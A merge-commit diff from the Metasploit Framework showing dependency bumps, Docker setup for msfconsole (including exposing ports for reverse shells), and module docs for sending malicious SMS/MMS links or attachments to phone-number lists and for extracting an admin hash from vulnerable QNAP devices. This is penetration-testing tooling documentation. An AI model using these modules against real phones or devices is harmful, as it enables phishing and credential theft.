Merge remote-tracking branch 'upstream/master' into land-8038-
commit
e1f33f1616
|
@ -0,0 +1,95 @@
|
|||
.dockerignore
|
||||
.gitignore
|
||||
.env*
|
||||
docker-compose*.yml
|
||||
docker/
|
||||
!docker/msfconsole.rc
|
||||
README.md
|
||||
|
||||
.bundle
|
||||
Gemfile.local
|
||||
Gemfile.local.lock
|
||||
# Rubymine project directory
|
||||
.idea
|
||||
# Sublime Text project directory (not created by ST by default)
|
||||
.sublime-project
|
||||
# RVM control file, keep this to avoid backdooring Metasploit
|
||||
.rvmrc
|
||||
# Allow for a local choice of (unsupported / semi-supported) ruby versions
|
||||
# See PR #4136 for usage, but example usage for rvm:
|
||||
# rvm --create --versions-conf use 2.1.4@metasploit-framework
|
||||
# Because rbenv doesn't use .versions.conf, to achieve this same functionality, run:
|
||||
# rbenv shell 2.1.4
|
||||
.versions.conf
|
||||
# YARD cache directory
|
||||
.yardoc
|
||||
# Mac OS X files
|
||||
.DS_Store
|
||||
# database config for testing
|
||||
config/database.yml
|
||||
# target config file for testing
|
||||
features/support/targets.yml
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
doc/
|
||||
external/source/meterpreter/java/bin
|
||||
external/source/meterpreter/java/build
|
||||
external/source/meterpreter/java/extensions
|
||||
external/source/javapayload/bin
|
||||
external/source/javapayload/build
|
||||
# Java binary ignores. Replace the 5 above with this once we're merged.
|
||||
external/source/javapayload/*/.classpath
|
||||
external/source/javapayload/*/.project
|
||||
external/source/javapayload/*/.settings
|
||||
external/source/javapayload/*/bin
|
||||
external/source/javapayload/*/target
|
||||
external/source/javapayload/*/*/.classpath
|
||||
external/source/javapayload/*/*/.project
|
||||
external/source/javapayload/*/*/.settings
|
||||
external/source/javapayload/*/*/bin
|
||||
external/source/javapayload/*/*/target
|
||||
# Packaging directory
|
||||
pkg
|
||||
tags
|
||||
*.swp
|
||||
*.orig
|
||||
*.rej
|
||||
*~
|
||||
# Ignore backups of retabbed files
|
||||
*.notab
|
||||
|
||||
# ignore Visual Studio external source garbage
|
||||
*.suo
|
||||
*.sdf
|
||||
*.opensdf
|
||||
*.user
|
||||
|
||||
# Rails log directory
|
||||
/log
|
||||
# Rails tmp directory
|
||||
/tmp
|
||||
|
||||
# ignore release/debug folders for exploits
|
||||
external/source/exploits/**/Debug
|
||||
external/source/exploits/**/Release
|
||||
|
||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the metasploit-payloads gem.
|
||||
data/meterpreter/*.dll
|
||||
data/meterpreter/*.php
|
||||
data/meterpreter/*.py
|
||||
data/meterpreter/*.bin
|
||||
data/meterpreter/*.jar
|
||||
data/meterpreter/*.lso
|
||||
data/android
|
||||
data/java
|
||||
|
||||
# Avoid checking in Meterpreter libs that are built from
|
||||
# private source. If you're interested in this functionality,
|
||||
# check out Metasploit Pro: http://metasploit.com/download
|
||||
data/meterpreter/ext_server_pivot.*.dll
|
||||
|
||||
# Avoid checking in metakitty, the source for
|
||||
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
|
||||
/metakitty
|
||||
.vagrant
|
|
@ -85,3 +85,6 @@ data/meterpreter/ext_server_pivot.*.dll
|
|||
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
|
||||
/metakitty
|
||||
.vagrant
|
||||
|
||||
# local docker compose overrides
|
||||
docker-compose.local*
|
||||
|
|
6
Gemfile
6
Gemfile
|
@ -20,7 +20,11 @@ group :development do
|
|||
gem 'pry'
|
||||
# module documentation
|
||||
gem 'octokit', '~> 4.0'
|
||||
# rails-upgrade staging gems
|
||||
# session aggregator, native builds have issues on arm platforms for now
|
||||
gem 'metasploit-aggregator' if [
|
||||
'x86-mingw32', 'x64-mingw32',
|
||||
'x86_64-linux', 'x86-linux',
|
||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
|
|
46
Gemfile.lock
46
Gemfile.lock
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.14.1)
|
||||
metasploit-framework (4.14.2)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -14,7 +14,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.2.16)
|
||||
metasploit-payloads (= 1.2.17)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.1.7)
|
||||
msgpack
|
||||
|
@ -142,17 +142,38 @@ GEM
|
|||
railties (>= 3.0.0)
|
||||
faraday (0.11.0)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.17)
|
||||
ffi (1.9.18)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.2)
|
||||
gherkin (4.0.0)
|
||||
google-protobuf (3.2.0)
|
||||
googleauth (0.5.1)
|
||||
faraday (~> 0.9)
|
||||
jwt (~> 1.4)
|
||||
logging (~> 2.0)
|
||||
memoist (~> 0.12)
|
||||
multi_json (~> 1.11)
|
||||
os (~> 0.9)
|
||||
signet (~> 0.7)
|
||||
grpc (1.1.2)
|
||||
google-protobuf (~> 3.1)
|
||||
googleauth (~> 0.5.1)
|
||||
i18n (0.8.1)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.0.3)
|
||||
jwt (1.5.6)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.1.0)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.10)
|
||||
loofah (2.0.3)
|
||||
nokogiri (>= 1.5.9)
|
||||
metasm (1.0.2)
|
||||
memoist (0.15.0)
|
||||
metasm (1.0.3)
|
||||
metasploit-aggregator (0.1.3)
|
||||
grpc
|
||||
rex-arch
|
||||
metasploit-concern (2.0.3)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -169,7 +190,7 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.2.16)
|
||||
metasploit-payloads (1.2.17)
|
||||
metasploit_data_models (2.0.14)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -187,20 +208,21 @@ GEM
|
|||
mime-types-data (3.2016.0521)
|
||||
mini_portile2 (2.1.0)
|
||||
minitest (5.10.1)
|
||||
msgpack (1.0.3)
|
||||
msgpack (1.1.0)
|
||||
multi_json (1.12.1)
|
||||
multi_test (0.1.2)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (4.1.0)
|
||||
network_interface (0.0.1)
|
||||
nexpose (5.3.0)
|
||||
nexpose (5.3.1)
|
||||
nokogiri (1.7.0.1)
|
||||
mini_portile2 (~> 2.1.0)
|
||||
octokit (4.6.2)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
os (0.9.6)
|
||||
packetfu (1.1.13.pre)
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
|
@ -308,6 +330,11 @@ GEM
|
|||
faraday (~> 0.8, < 1.0)
|
||||
shoulda-matchers (3.1.1)
|
||||
activesupport (>= 4.0.0)
|
||||
signet (0.7.3)
|
||||
addressable (~> 2.3)
|
||||
faraday (~> 0.9)
|
||||
jwt (~> 1.5)
|
||||
multi_json (~> 1.10)
|
||||
simplecov (0.13.0)
|
||||
docile (~> 1.1.0)
|
||||
json (>= 1.8, < 3)
|
||||
|
@ -321,7 +348,7 @@ GEM
|
|||
timecop (0.8.1)
|
||||
tzinfo (1.2.2)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2016.10)
|
||||
tzinfo-data (1.2017.1)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.0)
|
||||
xpath (2.0.0)
|
||||
|
@ -336,6 +363,7 @@ DEPENDENCIES
|
|||
cucumber-rails
|
||||
factory_girl_rails
|
||||
fivemat
|
||||
metasploit-aggregator
|
||||
metasploit-framework!
|
||||
octokit (~> 4.0)
|
||||
pry
|
||||
|
@ -348,4 +376,4 @@ DEPENDENCIES
|
|||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.14.5
|
||||
1.14.6
|
||||
|
|
|
@ -1,2 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmlns:cx2="http://schemas.microsoft.com/office/drawing/2015/10/21/chartex" xmlns:cx3="http://schemas.microsoft.com/office/drawing/2016/5/9/chartex" xmlns:cx4="http://schemas.microsoft.com/office/drawing/2016/5/10/chartex" xmlns:cx5="http://schemas.microsoft.com/office/drawing/2016/5/11/chartex" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 w16se wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>
|
||||
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>
|
Binary file not shown.
|
@ -0,0 +1,24 @@
|
|||
version: '2'
|
||||
services:
|
||||
ms: &ms
|
||||
image: metasploit
|
||||
build:
|
||||
context: .
|
||||
dockerfile: ./docker/Dockerfile
|
||||
environment:
|
||||
DATABASE_URL: postgres://postgres@db:5432/msf
|
||||
links:
|
||||
- db
|
||||
ports:
|
||||
- 4444:4444
|
||||
volumes:
|
||||
- $HOME/.msf4:/root/.msf4
|
||||
|
||||
db:
|
||||
image: postgres:9.6
|
||||
volumes:
|
||||
- pg_data:/var/lib/postgresql/data
|
||||
|
||||
volumes:
|
||||
pg_data:
|
||||
driver: local
|
|
@ -0,0 +1,47 @@
|
|||
FROM ruby:2.3-alpine
|
||||
MAINTAINER Rapid7
|
||||
|
||||
ARG BUNDLER_ARGS="--system --jobs=8"
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
COPY Gemfile* m* Rakefile $APP_HOME
|
||||
COPY lib $APP_HOME/lib
|
||||
|
||||
RUN apk update && \
|
||||
apk add \
|
||||
ruby-bigdecimal \
|
||||
ruby-bundler \
|
||||
ruby-io-console \
|
||||
autoconf \
|
||||
bison \
|
||||
subversion \
|
||||
git \
|
||||
sqlite \
|
||||
nmap \
|
||||
libxslt \
|
||||
postgresql \
|
||||
ncurses \
|
||||
&& apk add --virtual .ruby-builddeps \
|
||||
build-base \
|
||||
ruby-dev \
|
||||
libffi-dev\
|
||||
openssl-dev \
|
||||
readline-dev \
|
||||
sqlite-dev \
|
||||
postgresql-dev \
|
||||
libpcap-dev \
|
||||
libxml2-dev \
|
||||
libxslt-dev \
|
||||
yaml-dev \
|
||||
zlib-dev \
|
||||
ncurses-dev \
|
||||
bison \
|
||||
autoconf \
|
||||
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
|
||||
&& bundle install $BUNDLER_ARGS \
|
||||
&& apk del .ruby-builddeps \
|
||||
&& rm -rf /var/cache/apk/*
|
||||
|
||||
ADD ./ $APP_HOME
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc"]
|
|
@ -0,0 +1,65 @@
|
|||
# Metasploit in Docker
|
||||
## Getting Started
|
||||
|
||||
To run `msfconsole`
|
||||
```bash
|
||||
docker-compose run --rm --service-ports ms
|
||||
```
|
||||
|
||||
To run `msfvenom`
|
||||
```bash
|
||||
docker-compose run --rm ms ./msfvenom
|
||||
```
|
||||
|
||||
### I don't like typing `docker-compose --rm ...`
|
||||
|
||||
We have included some binstubs `./bin`, you can symlink them to your path.
|
||||
|
||||
Assuming you have `$HOME/bin`, and it's in your `$PATH`. You can run this from the project root:
|
||||
|
||||
```bash
|
||||
ln -s `pwd`/docker/bin/msfconsole $HOME/bin/
|
||||
ln -s `pwd`/docker/bin/msfvenom $HOME/bin/
|
||||
```
|
||||
|
||||
### But I want reverse shells...
|
||||
|
||||
By default we expose port `4444`. You'll need to set `LHOST` to be a hostname/ip
|
||||
of your host machine.
|
||||
|
||||
If you want to expose more ports, or have `LHOST` prepopulated with a specific
|
||||
value; you'll need to setup a local docker-compose override for this.
|
||||
|
||||
Create `docker/docker-compose.local.override.yml` with:
|
||||
```yml
|
||||
version: '2'
|
||||
services:
|
||||
ms:
|
||||
environment:
|
||||
# example of setting LHOST
|
||||
LHOST: 10.0.8.2
|
||||
# example of adding more ports
|
||||
ports:
|
||||
- 8080:8080
|
||||
```
|
||||
|
||||
Make sure you set `LHOST` to valid hostname that resolves to your host machine.
|
||||
|
||||
Now you need to set the `COMPOSE_FILE` environment variable to load your local
|
||||
override.
|
||||
|
||||
```bash
|
||||
echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.local.override.yml" >> .env
|
||||
```
|
||||
Now you should be able get reverse shells working
|
||||
|
||||
## Developing
|
||||
|
||||
To setup you environment for development, you need to `docker/docker-compose.development.override.yml`
|
||||
to your `COMPOSE_FILE` environment variable.
|
||||
|
||||
If you don't have a `COMPOSE_FILE` environment variable, you can set it up with this:
|
||||
|
||||
```bash
|
||||
echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.development.override.yml" >> .env
|
||||
```
|
|
@ -0,0 +1,21 @@
|
|||
#! /bin/bash
|
||||
|
||||
if [[ -z "$MSF_PATH" ]]; then
|
||||
path=`dirname $0`
|
||||
|
||||
# check for ./docker/msfconsole.rc
|
||||
if [[ ! -f $path/../msfconsole.rc ]] ; then
|
||||
|
||||
# we are not inside the project
|
||||
realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;}
|
||||
|
||||
# determine script path
|
||||
pushd $(dirname $(realpath $0)) > /dev/null
|
||||
path=$(pwd)
|
||||
popd > /dev/null
|
||||
fi
|
||||
MSF_PATH=$(dirname $(dirname $path))
|
||||
fi
|
||||
|
||||
cd $MSF_PATH
|
||||
docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$@"
|
|
@ -0,0 +1,21 @@
|
|||
#! /bin/bash
|
||||
|
||||
if [[ -z "$MSF_PATH" ]]; then
|
||||
path=`dirname $0`
|
||||
|
||||
# check for ./docker/msfconsole.rc
|
||||
if [[ ! -f $path/../msfconsole.rc ]] ; then
|
||||
|
||||
# we are not inside the project
|
||||
realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;}
|
||||
|
||||
# determine script path
|
||||
pushd $(dirname $(realpath $0)) > /dev/null
|
||||
path=$(pwd)
|
||||
popd > /dev/null
|
||||
fi
|
||||
MSF_PATH=$(dirname $(dirname $path))
|
||||
fi
|
||||
|
||||
cd $MSF_PATH
|
||||
docker-compose run --rm --service-ports ms ./msfvenom "$@"
|
|
@ -0,0 +1,9 @@
|
|||
version: '2'
|
||||
|
||||
services:
|
||||
ms: &ms
|
||||
environment:
|
||||
DATABASE_URL: postgres://postgres@db:5432/msf_dev
|
||||
|
||||
volumes:
|
||||
- .:/usr/src/app
|
|
@ -0,0 +1,5 @@
|
|||
<ruby>
|
||||
run_single("setg LHOST #{ENV['LHOST']}") if ENV['LHOST']
|
||||
run_single("setg LPORT #{ENV['LPORT']}") if ENV['LPORT']
|
||||
run_single("db_connect #{ENV['DATABASE_URL'].gsub('postrgres://', '')}") if ENV['DATABASE_URL']
|
||||
</ruby>
|
|
@ -0,0 +1,150 @@
|
|||
The ```auxiliary/client/mms/send_mms``` module allows you to send a malicious attachment to a
|
||||
collection of phone numbers of the same carrier.
|
||||
|
||||
In order to use this module, you must set up your own SMTP server to deliver messages. Popular
|
||||
mail services such as Gmail, Yahoo, Live should work fine.
|
||||
|
||||
## Module Options
|
||||
|
||||
**CELLNUMBERS**
|
||||
|
||||
The 10-digit phone number (or numbers) you want to send the MMS text to. If you wish to target
|
||||
against multiple phone numbers, ideally you want to create the list in a text file (one number per
|
||||
line), and then load the CELLNUMBERS option like this:
|
||||
|
||||
```
|
||||
set CELLNUMBERS file:///tmp/att_phone_numbers.txt
|
||||
```
|
||||
|
||||
Remember that these phone numbers must be the same carrier.
|
||||
|
||||
**MMSCARRIER**
|
||||
|
||||
The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about
|
||||
supported carriers.
|
||||
|
||||
**TEXTMESSAGE**
|
||||
|
||||
The text message you want to send. For example, this will send a text with a link to google:
|
||||
|
||||
```
|
||||
set TEXTMESSAGE "Hi, please go: google.com"
|
||||
```
|
||||
|
||||
The link should automatically be parsed on the phone and clickable.
|
||||
|
||||
**MMSFILE**
|
||||
|
||||
The attachment to send in the message.
|
||||
|
||||
**MMSFILECTYPE**
|
||||
|
||||
The content type to use for the attachment. Commonly supported ones include:
|
||||
|
||||
* audio/midi
|
||||
* image/jpeg
|
||||
* image/gif
|
||||
* image/png
|
||||
* video/mp4
|
||||
|
||||
To find more, please try this [list](http://www.freeformatter.com/mime-types-list.html)
|
||||
|
||||
**SMTPADDRESS**
|
||||
|
||||
The mail server address you wish to use to send the MMS messages.
|
||||
|
||||
**SMTPPORT**
|
||||
|
||||
The mail server port. By default, this is ```25```.
|
||||
|
||||
**SMTPUSERNAME**
|
||||
|
||||
The username you use to log into the SMTP server.
|
||||
|
||||
**SMTPPASSWORD**
|
||||
|
||||
The password you use to log into the SMTP server.
|
||||
|
||||
**SMTPFROM**
|
||||
|
||||
The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. Some carriers require this
|
||||
in order to receive the text, such as AT&T.
|
||||
|
||||
**MMSSUBJECT**
|
||||
|
||||
The MMS subject. Some carriers require this in order to receive the text, such as AT&T.
|
||||
|
||||
## Supported Carrier Gateways
|
||||
|
||||
The module supports the following carriers:
|
||||
|
||||
* AT&T
|
||||
* Sprint
|
||||
* T-Mobile
|
||||
* Verizon
|
||||
* Google Fi
|
||||
|
||||
## Finding the Carrier for a Phone Number
|
||||
|
||||
Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out
|
||||
how to identify the carrier of a phone number. There are many services that can do this, such as:
|
||||
|
||||
http://freecarrierlookup.com/
|
||||
|
||||
## Gmail SMTP Example
|
||||
|
||||
Gmail is a popular mail server, so we will use this as a demonstration.
|
||||
|
||||
Assuming you are already using two-factor authentication, you need to create an [application password](https://support.google.com/accounts/answer/185833?hl=en).
|
||||
|
||||
After creating the application password, configure auxiliary/client/mms/send_mms this way:
|
||||
|
||||
* ```set cellnumbers [PHONE NUMBER]```
|
||||
* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]```
|
||||
* ```set textmessage "[TEXT MESSAGE]"```
|
||||
* ```set smtpaddress smtp.gmail.com```
|
||||
* ```set smtpport 587```
|
||||
* ```set mmsfile /tmp/example.mp4```
|
||||
* ```set mmsfilectype video/mp4```
|
||||
* ```set smtpusername [USERNAME FOR GMAIL]``` (you don't need ```@gmail.com``` at the end)
|
||||
* ```set smtppassword [APPLICATION PASSWORD]```
|
||||
|
||||
And you should be ready to go.
|
||||
|
||||
## Yahoo SMTP Example
|
||||
|
||||
Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail),
|
||||
so we will demonstrate as well.
|
||||
|
||||
Before using the module, you must do this to your Yahoo account:
|
||||
|
||||
1. Sign in to Yahoo Mail.
|
||||
2. [Go to your "Account security" settings.](https://login.yahoo.com/account/security#less-secure-apps)
|
||||
3. Turn on Allow apps that use less secure sign in.
|
||||
|
||||
After configuring your Yahoo account, configure auxiliary/client/mms/send_mms this way:
|
||||
|
||||
* ```set cellnumbers [PHONE NUMBER]```
|
||||
* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]```
|
||||
* ```set textmessage "[TEXT MESSAGE]"```
|
||||
* ```set smtpaddress smtp.mail.yahoo.com```
|
||||
* ```set smtpport 25```
|
||||
* ```set mmsfile /tmp/example.mp4```
|
||||
* ```set mmsfilectype video/mp4```
|
||||
* ```set smtpusername [USERNAME FOR YAHOO]@yahoo.com```
|
||||
* ```set smtppassword [YAHOO LOGIN PASSWORD]```
|
||||
|
||||
And you're good to go.
|
||||
|
||||
## Demonstration
|
||||
|
||||
After setting up your mail server and the module, your output should look similar to this:
|
||||
|
||||
```
|
||||
msf auxiliary(send_mms) > run
|
||||
|
||||
[*] Sending mms message to 1 number(s)...
|
||||
[*] Done.
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(send_mms) >
|
||||
```
|
|
@ -0,0 +1,132 @@
|
|||
The ```auxiliary/client/sms/send_text``` module allows you to send a malicious text/link to a collection
|
||||
of phone numbers of the same carrier.
|
||||
|
||||
In order to use this module, you must set up your own SMTP server to deliver messages. Popular
|
||||
mail services such as Gmail, Yahoo, Live should work fine.
|
||||
|
||||
## Module Options
|
||||
|
||||
**CELLNUMBERS**
|
||||
|
||||
The 10-digit phone number (or numbers) you want to send the text to. If you wish to target against
|
||||
multiple phone numbers, ideally you want to create the list in a text file (one number per line),
|
||||
and then load the CELLNUMBERS option like this:
|
||||
|
||||
```
|
||||
set CELLNUMBERS file:///tmp/att_phone_numbers.txt
|
||||
```
|
||||
|
||||
Remember that these phone numbers must be the same carrier.
|
||||
|
||||
**SMSCARRIER**
|
||||
|
||||
The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about
|
||||
supported carriers.
|
||||
|
||||
**SMSMESSAGE**
|
||||
|
||||
The text message you want to send. For example, this will send a text with a link to google:
|
||||
|
||||
```
|
||||
set SMSMESSAGE "Hi, please go: google.com"
|
||||
```
|
||||
|
||||
The link should automatically be parsed on the phone and clickable.
|
||||
|
||||
**SMTPADDRESS**
|
||||
|
||||
The mail server address you wish to use to send the text messages.
|
||||
|
||||
**SMTPPORT**
|
||||
|
||||
The mail server port. By default, this is ```25```.
|
||||
|
||||
**SMTPUSERNAME**
|
||||
|
||||
The username you use to log into the SMTP server.
|
||||
|
||||
**SMTPPASSWORD**
|
||||
|
||||
The password you use to log into the SMTP server.
|
||||
|
||||
**SMTPFROM**
|
||||
|
||||
The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```.
|
||||
|
||||
## Supported Carrier Gateways
|
||||
|
||||
The module supports the following carriers:
|
||||
|
||||
* AllTel
|
||||
* AT&T Wireless
|
||||
* Boost Mobile
|
||||
* Cricket Wireless
|
||||
* Google Fi
|
||||
* T-Mobile
|
||||
* Verizon
|
||||
* Virgin Mobile
|
||||
|
||||
**Note:** During development, we could not find a valid gateway for Sprint, therefore it is currently
|
||||
not supported.
|
||||
|
||||
## Finding the Carrier for a Phone Number
|
||||
|
||||
Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out
|
||||
how to identify the carrier of a phone number. There are many services that can do this, such as:
|
||||
|
||||
http://freecarrierlookup.com/
|
||||
|
||||
**Note:** If the phone is using Google Fi, then it may appear as a different carrier.
|
||||
|
||||
## Gmail SMTP Example
|
||||
|
||||
Gmail is a popular mail server, so we will use this as a demonstration.
|
||||
|
||||
Assuming you are already using two-factor authentication, you need to create an [application password](https://support.google.com/accounts/answer/185833?hl=en).
|
||||
|
||||
After creating the application password, configure auxiliary/client/sms/send_text this way:
|
||||
|
||||
* ```set cellnumbers [PHONE NUMBER]```
|
||||
* ```set smscarrier [CHOOSE A SUPPORTED CARRIER]```
|
||||
* ```set smsmessage "[TEXT MESSAGE]"```
|
||||
* ```set smtpaddress smtp.gmail.com```
|
||||
* ```set smtpport 587```
|
||||
* ```set smtpusername [USERNAME FOR GMAIL]``` (you don't need ```@gmail.com``` at the end)
|
||||
* ```set smtppassword [APPLICATION PASSWORD]```
|
||||
|
||||
And you should be ready to go.
|
||||
|
||||
## Yahoo SMTP Example
|
||||
|
||||
Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail),
|
||||
so we will demonstrate as well.
|
||||
|
||||
Before using the module, you must do this to your Yahoo account:
|
||||
|
||||
1. Sign in to Yahoo Mail.
|
||||
2. [Go to your "Account security" settings.](https://login.yahoo.com/account/security#less-secure-apps)
|
||||
3. Turn on Allow apps that use less secure sign in.
|
||||
|
||||
After configuring your Yahoo account, configure auxiliary/client/sms/send_text this way:
|
||||
|
||||
* ```set cellnumbers [PHONE NUMBER]```
|
||||
* ```set smscarrier [CHOOSE A SUPPORTED CARRIER]```
|
||||
* ```set smsmessage "[TEXT MESSAGE]"```
|
||||
* ```set smtpaddress smtp.mail.yahoo.com```
|
||||
* ```set smtpport 25```
|
||||
* ```set smtpusername [USERNAME FOR YAHOO]@yahoo.com```
|
||||
* ```set smtppassword [YAHOO LOGIN PASSWORD]```
|
||||
|
||||
And you're good to go.
|
||||
|
||||
## Demonstration
|
||||
|
||||
After setting up your mail server and the module, your output should look similar to this:
|
||||
|
||||
```
|
||||
msf auxiliary(send_text) > run
|
||||
|
||||
[*] Sending text (16 bytes) to 1 number(s)...
|
||||
[*] Done.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,78 @@
|
|||
## Intro
|
||||
|
||||
This is going to be a quick rundown of how to use this module to
|
||||
retrieve the admin hash from a vulnerable QNAP device.
|
||||
|
||||
The defaults I've set should be adequate for blind exploitation, but you
|
||||
may need to tweak them for your target.
|
||||
|
||||
## Options
|
||||
|
||||
**OFFSET_START**
|
||||
|
||||
You want to set this to a value where you can see a backtrace. Set this
|
||||
lower if you're not sure. Default is 2000.
|
||||
|
||||
**OFFSET_END**
|
||||
|
||||
Set this option to a value where you don't see a backtrace. Set this
|
||||
higher if you're not sure. Default is 5000.
|
||||
|
||||
**RETRIES**
|
||||
|
||||
Sometimes the attack won't be successful on the first run. This option
|
||||
controls how many times to retry the attack. Default is 10.
|
||||
|
||||
**VERBOSE**
|
||||
|
||||
This will tell you how long the binary search took and how many requests
|
||||
were sent during exploitation. Default is false.
|
||||
|
||||
## Usage
|
||||
|
||||
Let's run through a successful exploitation. I've tailored the options
|
||||
to my target. Your target may differ.
|
||||
|
||||
```
|
||||
msf > use auxiliary/gather/qnap_backtrace_admin_hash
|
||||
msf auxiliary(qnap_backtrace_admin_hash) > set rhost [redacted]
|
||||
rhost => [redacted]
|
||||
msf auxiliary(qnap_backtrace_admin_hash) > set offset_end 3000
|
||||
offset_end => 3000
|
||||
msf auxiliary(qnap_backtrace_admin_hash) > set verbose true
|
||||
verbose => true
|
||||
msf auxiliary(qnap_backtrace_admin_hash) > run
|
||||
|
||||
[*] QNAP [redacted] detected
|
||||
[*] Binary search of 2000-3000 completed in 5.02417s
|
||||
[*] Admin hash found at 0x8068646 with offset 2920
|
||||
[+] Hopefully this is your hash: $1$$vnSTnHkIF96nN6kxQkZrf.
|
||||
[*] 11 HTTP requests were sent during module run
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(qnap_backtrace_admin_hash) >
|
||||
```
|
||||
|
||||
We got lucky on this run. Sometimes it takes a couple retries to get the
|
||||
hash. Now what do we do with it...
|
||||
